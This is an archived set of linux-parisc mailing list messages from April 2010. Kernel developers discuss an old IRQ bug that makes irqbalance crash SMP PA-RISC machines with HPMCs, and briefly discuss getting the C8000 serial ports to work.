X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Longstanding bug in our IRQ code (irqbalance HPMCs parisc SMP machines)
Date: Sat, 24 Apr 2010 15:29:01 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <0D9994D5-4794-401B-8DE9-9DEA73D62B05@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1272115753 11711 80.91.229.12 (24 Apr 2010 13:29:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 24 Apr 2010 13:29:13 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 24 15:29:11 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O5fPy-0002gm-OZ
	for glpp-linux-parisc@lo.gmane.org; Sat, 24 Apr 2010 15:29:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753487Ab0DXN3J convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 24 Apr 2010 09:29:09 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:33425 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753527Ab0DXN3I convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 24 Apr 2010 09:29:08 -0400
Original-Received: by wyg36 with SMTP id 36so392545wyg.19
        for <linux-parisc@vger.kernel.org>; Sat, 24 Apr 2010 06:29:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:message-id:from:to
         :content-type:content-transfer-encoding:mime-version:subject:date
         :x-mailer;
        bh=yCqNFNmeetVVvD2IcA/ScPXCunckdVDoayE3IXi3mrs=;
        b=u+pQhAtwVg8TCS3pthQj0dRdcAlV149ryYyIVBga6NzCbryfxS/vxGyiCV6MKl6lTx
         uGJut7/EfI6Yxc/AR95E8yeNy55uBNNchRUGLkqXc2SRytfoE9MayDuVy6KB2Ua+lttx
         e8asfaxQOPc/3evaPzwWd6UcQIa0lCz+JGr2U=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:message-id:from:to:content-type:content-transfer-encoding
         :mime-version:subject:date:x-mailer;
        b=CMzge/qB8t2qJe3d0e8sHUdUSEiFiZAMEHTZkedRpaFd0qbOiQEhbnno2RQ2w+ubrC
         B3YSknnN4MiFmEptX/ldnq3SJ1FWik2GNHhD9TzKSXkSAOaN7D/07J7xgypuwO+zzndp
         ZEGdmqv7wbpX2r19GXOJ0n5O9WHumcSqNiUoA=
Original-Received: by 10.216.172.70 with SMTP id s48mr1270966wel.114.1272115744767;
        Sat, 24 Apr 2010 06:29:04 -0700 (PDT)
Original-Received: from Gandalf.h0m3 (car75-1-87-88-101-48.dsl.club-internet.fr [87.88.101.48])
        by mx.google.com with ESMTPS id t27sm4716714wbc.5.2010.04.24.06.29.02
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 24 Apr 2010 06:29:03 -0700 (PDT)
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2808
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2808>

Pa-ckers,

Just for the records, I'd like to raise some attention to what seems =20
like a pretty old bug in our IRQ code that is apparently still =20
affecting us.

Long story short: while trying to figure out why the recently attached =
=20
10-disk bay was killing the Debian "lafayette" autobuilder during raid =
=20
resync, I noticed that irqbalance was part of the default Debian =20
autobuilder setup.

The nastiness of irqbalance has been discussed before, and I =20
remembered having had issues in the past (5+ years ago) on my parisc =20
machines with that daemon. I couldn't find a pointer to a m-l thread, =20
I don't remember if I discussed that on IRC or elsewhere.

Anyway, turned out disabling irqbalance "fixed" the crash (and by =20
crash I mean HPMC). IIRC, the general idea is that when irqbalance =20
reroutes IRQ under heavy interrupt load, a race occurs by which one =20
interrupt request might end up delivered to the wrong CPU, HPMC'ing =20
the machine.

I have no particular opinion on whether it should be expected that =20
something as stupid as irqbalance could crash a system, but others =20
seem to believe it shouldn't (claiming "it works on *real* [read: x86] =
=20
hardware").

Now, I'm quite convinced that irqbalance could be one of the (major?) =20
cause of instability of the parisc autobuilders. AFAIU, they've =20
decided to disable it on their setup, maybe the situation will improve =
=20
there. Still, irqbalance is only the messenger, and I'm wondering =20
whether that apparent bug in our IRQ code could also be responsible =20
for other issues we're still having.

It's been a very long time since I last touched that code, and tbh I =20
never fully mastered it anyway, but I thought it'd be a good thing to =20
have a trace that this bug is still there, and maybe it will ring a =20
bell to others...

HTH

T-Bone

--=20
Thibaut Var=E8ne
http://www.parisc-linux.org/~varenet/--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Longstanding bug in our IRQ code (irqbalance HPMCs parisc SMP
	machines)
Date: Sat, 24 Apr 2010 08:36:17 -0600
Lines: 80
Approved: news@gmane.org
Message-ID: <20100424143617.GD24562@lackof.org>
References: <0D9994D5-4794-401B-8DE9-9DEA73D62B05@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1272119783 24066 80.91.229.12 (24 Apr 2010 14:36:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 24 Apr 2010 14:36:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thibaut =?iso-8859-1?Q?VAR=C8NE?= <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 24 16:36:21 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O5gSx-00055U-Sg
	for glpp-linux-parisc@lo.gmane.org; Sat, 24 Apr 2010 16:36:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752766Ab0DXOgT convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 24 Apr 2010 10:36:19 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:43220 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752276Ab0DXOgS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 24 Apr 2010 10:36:18 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id D608433E0057;
	Sat, 24 Apr 2010 08:36:17 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id TqaYG2RwgZSh; Sat, 24 Apr 2010 08:36:17 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 73A6233E0240; Sat, 24 Apr 2010 08:36:17 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <0D9994D5-4794-401B-8DE9-9DEA73D62B05@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2809
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2809>

On Sat, Apr 24, 2010 at 03:29:01PM +0200, Thibaut VAR=C8NE wrote:
> Pa-ckers,
>
> Just for the records, I'd like to raise some attention to what seems =
=20
> like a pretty old bug in our IRQ code that is apparently still affect=
ing=20
> us.
>
> Long story short: while trying to figure out why the recently attache=
d =20
> 10-disk bay was killing the Debian "lafayette" autobuilder during rai=
d =20
> resync, I noticed that irqbalance was part of the default Debian =20
> autobuilder setup.
>
> The nastiness of irqbalance has been discussed before, and I remember=
ed=20
> having had issues in the past (5+ years ago) on my parisc machines wi=
th=20
> that daemon. I couldn't find a pointer to a m-l thread, I don't remem=
ber=20
> if I discussed that on IRC or elsewhere.
>
> Anyway, turned out disabling irqbalance "fixed" the crash (and by cra=
sh I=20
> mean HPMC). IIRC, the general idea is that when irqbalance reroutes I=
RQ=20
> under heavy interrupt load, a race occurs by which one interrupt requ=
est=20
> might end up delivered to the wrong CPU, HPMC'ing the machine.

I'm not seeing how an IRQ message getting delivered to the "wrong" CPU
would cause an HPMC. Sounds more like MSI or other mask is getting buil=
t
wrong and sending the IRQ transaction to an invalid physical address.

> I have no particular opinion on whether it should be expected that =20
> something as stupid as irqbalance could crash a system, but others se=
em=20
> to believe it shouldn't (claiming "it works on *real* [read: x86] =20
> hardware").

It definitely should not.

> Now, I'm quite convinced that irqbalance could be one of the (major?)=
 =20
> cause of instability of the parisc autobuilders. AFAIU, they've decid=
ed=20
> to disable it on their setup, maybe the situation will improve there.=
=20
> Still, irqbalance is only the messenger, and I'm wondering whether th=
at=20
> apparent bug in our IRQ code could also be responsible for other issu=
es=20
> we're still having.

Sounds like it. Though the HPMCs are clearly different than the PTE iss=
ues
that jda/carlos are seeing.

> It's been a very long time since I last touched that code, and tbh I =
=20
> never fully mastered it anyway, but I thought it'd be a good thing to=
 =20
> have a trace that this bug is still there, and maybe it will ring a b=
ell=20
> to others...

No matter what crap irqbalanced is doing, the box shouldn't crash.
I can take a look at the code path and see if something looks broken.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 serial port
Date: Sat, 24 Apr 2010 08:44:11 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20100424144411.GA25138@lackof.org>
References: <20100423122701.259de41e@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1272120254 25508 80.91.229.12 (24 Apr 2010 14:44:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 24 Apr 2010 14:44:14 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 24 16:44:13 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O5gab-0000i8-7l
	for glpp-linux-parisc@lo.gmane.org; Sat, 24 Apr 2010 16:44:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753028Ab0DXOoM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 24 Apr 2010 10:44:12 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:49630 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752992Ab0DXOoM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 24 Apr 2010 10:44:12 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id D5BD533E0057;
	Sat, 24 Apr 2010 08:44:11 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id jYCaiuPilHzL; Sat, 24 Apr 2010 08:44:11 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 9D1DE33E0240; Sat, 24 Apr 2010 08:44:11 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20100423122701.259de41e@borg.bxl.tuxicoman.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2810
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2810>

On Fri, Apr 23, 2010 at 12:27:01PM +0200, Guy Martin wrote:
> 
> Hi team,
> 
> I recently bought a C8000 and I just can't get the serial ports to
> work. What modules should be used ? The normal 8250 modules don't work.

When we did original bring up C8000, we had to use an add-on PCI serial
card to get console with linux. I don't recall where the built-in
serial is attached but thought we had it working at some point. Maybe not.

grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Longstanding bug in our IRQ code (irqbalance HPMCs parisc SMP machines)
Date: Sat, 24 Apr 2010 16:44:27 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <3E26349A-5670-4643-926D-24C04E75084C@parisc-linux.org>
References: <0D9994D5-4794-401B-8DE9-9DEA73D62B05@parisc-linux.org> <20100424143617.GD24562@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1272120279 25563 80.91.229.12 (24 Apr 2010 14:44:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 24 Apr 2010 14:44:39 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 24 16:44:38 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O5gax-0000i8-3o
	for glpp-linux-parisc@lo.gmane.org; Sat, 24 Apr 2010 16:44:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753045Ab0DXOoe convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 24 Apr 2010 10:44:34 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:48580 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752998Ab0DXOod convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 24 Apr 2010 10:44:33 -0400
Original-Received: by wyg36 with SMTP id 36so417106wyg.19
        for <linux-parisc@vger.kernel.org>; Sat, 24 Apr 2010 07:44:32 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:cc:message-id:from:to
         :in-reply-to:content-type:content-transfer-encoding:mime-version
         :subject:date:references:x-mailer;
        bh=B8rel4VNYtI7sA2nwX2XKnkZW9HxzAYD3AoyFxD+oPs=;
        b=DOrGe5MuFpLl4Q4U5+aS3mgLi1vkKQYWAipOyC1540y0xgCvnu/UWx9Sn7R1O4U3yH
         mHdNjCNmjHKqN2gHK6EAlT4iRbPFwRuCtBaZ866Za9YTHLkZAkGVRho6L8dQyASK3Z6h
         LXaOzZW1OoD2UXY+UgmA6F5GAARCh5U64y3l0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:cc:message-id:from:to:in-reply-to:content-type
         :content-transfer-encoding:mime-version:subject:date:references
         :x-mailer;
        b=KqWVzeTB71sraRyj5ECvUEM2rdkfL5lQKq76V4AQbwF4RHfDd3w7X5CBQfZink2EU1
         xyWHKYRWE3LbFQ6PJPbYeXO7ORyP3cTMuqqvQvmoYLNEN9jiPn7AAfVpqA1W5SpuPD4m
         pBzKSJVIWF+jWLPdkHQhaZsrTVU18FWEWyAkA=
Original-Received: by 10.216.188.14 with SMTP id z14mr1977815wem.38.1272120270589;
        Sat, 24 Apr 2010 07:44:30 -0700 (PDT)
Original-Received: from Gandalf.h0m3 (car75-1-87-88-101-48.dsl.club-internet.fr [87.88.101.48])
        by mx.google.com with ESMTPS id x1sm4519243wbx.13.2010.04.24.07.44.28
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 24 Apr 2010 07:44:29 -0700 (PDT)
In-Reply-To: <20100424143617.GD24562@lackof.org>
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2811
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2811>

Le 24 avr. 10 =E0 16:36, Grant Grundler a =E9crit :

> On Sat, Apr 24, 2010 at 03:29:01PM +0200, Thibaut VAR=C8NE wrote:
>>

>> Anyway, turned out disabling irqbalance "fixed" the crash (and by =20
>> crash I
>> mean HPMC). IIRC, the general idea is that when irqbalance reroutes =
=20
>> IRQ
>> under heavy interrupt load, a race occurs by which one interrupt =20
>> request
>> might end up delivered to the wrong CPU, HPMC'ing the machine.
>
> I'm not seeing how an IRQ message getting delivered to the "wrong" CP=
U
> would cause an HPMC. Sounds more like MSI or other mask is getting =20
> built
> wrong and sending the IRQ transaction to an invalid physical address.

I'm not sure, it's been a very long time since I last tracked down =20
this bug. Maybe I'm remembering it wrong.
=46WIW, no MSI on this machine (L1000) and PCI card (sym53c896).

>> Now, I'm quite convinced that irqbalance could be one of the (major?=
)
>> cause of instability of the parisc autobuilders. AFAIU, they've =20
>> decided
>> to disable it on their setup, maybe the situation will improve there=
=2E
>> Still, irqbalance is only the messenger, and I'm wondering whether =20
>> that
>> apparent bug in our IRQ code could also be responsible for other =20
>> issues
>> we're still having.
>
> Sounds like it. Though the HPMCs are clearly different than the PTE =20
> issues
> that jda/carlos are seeing.

True, but I remember Debian staff complaining about random unexplained =
=20
hangs, I wouldn't be too surprised if this came into play...

>> It's been a very long time since I last touched that code, and tbh I
>> never fully mastered it anyway, but I thought it'd be a good thing t=
o
>> have a trace that this bug is still there, and maybe it will ring a =
=20
>> bell
>> to others...
>
> No matter what crap irqbalanced is doing, the box shouldn't crash.
> I can take a look at the code path and see if something looks broken.
>
> thanks,


You're welcome ;)

--=20
Thibaut VAR=C8NE
http://www.parisc-linux.org/~varenet/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Longstanding bug in our IRQ code (irqbalance HPMCs parisc SMP
	machines)
Date: Sat, 24 Apr 2010 09:13:49 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <20100424151349.GB25138@lackof.org>
References: <0D9994D5-4794-401B-8DE9-9DEA73D62B05@parisc-linux.org> <20100424143617.GD24562@lackof.org> <3E26349A-5670-4643-926D-24C04E75084C@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1272122035 30900 80.91.229.12 (24 Apr 2010 15:13:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 24 Apr 2010 15:13:55 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Thibaut =?iso-8859-1?Q?VAR=C8NE?= <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 24 17:13:53 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O5h3H-0005oK-AP
	for glpp-linux-parisc@lo.gmane.org; Sat, 24 Apr 2010 17:13:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753339Ab0DXPNu convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 24 Apr 2010 11:13:50 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:38801 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753280Ab0DXPNu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 24 Apr 2010 11:13:50 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 2B90F33E023B;
	Sat, 24 Apr 2010 09:13:50 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 4d0K819979wG; Sat, 24 Apr 2010 09:13:49 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id CD2D633E0240; Sat, 24 Apr 2010 09:13:49 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3E26349A-5670-4643-926D-24C04E75084C@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2812
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2812>

On Sat, Apr 24, 2010 at 04:44:27PM +0200, Thibaut VAR=C8NE wrote:
=2E..
> I'm not sure, it's been a very long time since I last tracked down th=
is=20
> bug. Maybe I'm remembering it wrong.
> FWIW, no MSI on this machine (L1000) and PCI card (sym53c896).

Ok - true. We don't support MSI AFAIK.
That means whatever is going wrong, is happening in the IO SAPIC.

>
>>> Now, I'm quite convinced that irqbalance could be one of the (major=
?)
>>> cause of instability of the parisc autobuilders. AFAIU, they've =20
>>> decided
>>> to disable it on their setup, maybe the situation will improve ther=
e.
>>> Still, irqbalance is only the messenger, and I'm wondering whether =
=20
>>> that
>>> apparent bug in our IRQ code could also be responsible for other =20
>>> issues
>>> we're still having.
>>
>> Sounds like it. Though the HPMCs are clearly different than the PTE =
=20
>> issues
>> that jda/carlos are seeing.
>
> True, but I remember Debian staff complaining about random unexplaine=
d =20
> hangs, I wouldn't be too surprised if this came into play...

Yes, especially given the fact the "hangs" generally means
the "machine suddenly stopped responding".

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 serial port
Date: Sat, 24 Apr 2010 11:47:46 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20100424154745.GP12768@bombadil.infradead.org>
References: <20100423122701.259de41e@borg.bxl.tuxicoman.be> <20100424144411.GA25138@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1272124099 4895 80.91.229.12 (24 Apr 2010 15:48:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 24 Apr 2010 15:48:19 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 24 17:48:18 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O5hab-0001GB-Q9
	for glpp-linux-parisc@lo.gmane.org; Sat, 24 Apr 2010 17:48:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753714Ab0DXPsI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 24 Apr 2010 11:48:08 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:57503 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753692Ab0DXPry (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 24 Apr 2010 11:47:54 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1O5ha6-0002Wt-3R; Sat, 24 Apr 2010 15:47:46 +0000
Content-Disposition: inline
In-Reply-To: <20100424144411.GA25138@lackof.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2813
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2813>

On Sat, Apr 24, 2010 at 08:44:11AM -0600, Grant Grundler wrote:
> On Fri, Apr 23, 2010 at 12:27:01PM +0200, Guy Martin wrote:
> > 
> > Hi team,
> > 
> > I recently bought a C8000 and I just can't get the serial ports to
> > work. What modules should be used ? The normal 8250 modules don't work.
> 
> When we did original bring up C8000, we had to use an add-on PCI serial
> card to get console with linux. I don't recall where the built-in
> serial is attached but thought we had it working at some point. Maybe not.
> 

I don't remember, but I'm pretty sure it works. I'll plug it in an look
next chance I get.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Longstanding bug in our IRQ code (irqbalance HPMCs parisc SMP machines)
Date: Sat, 24 Apr 2010 11:48:24 -0400 (EDT)
Lines: 55
Approved: news@gmane.org
Message-ID: <20100424154824.C924E5160@hiauly1.hia.nrc.ca>
References: <3E26349A-5670-4643-926D-24C04E75084C@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
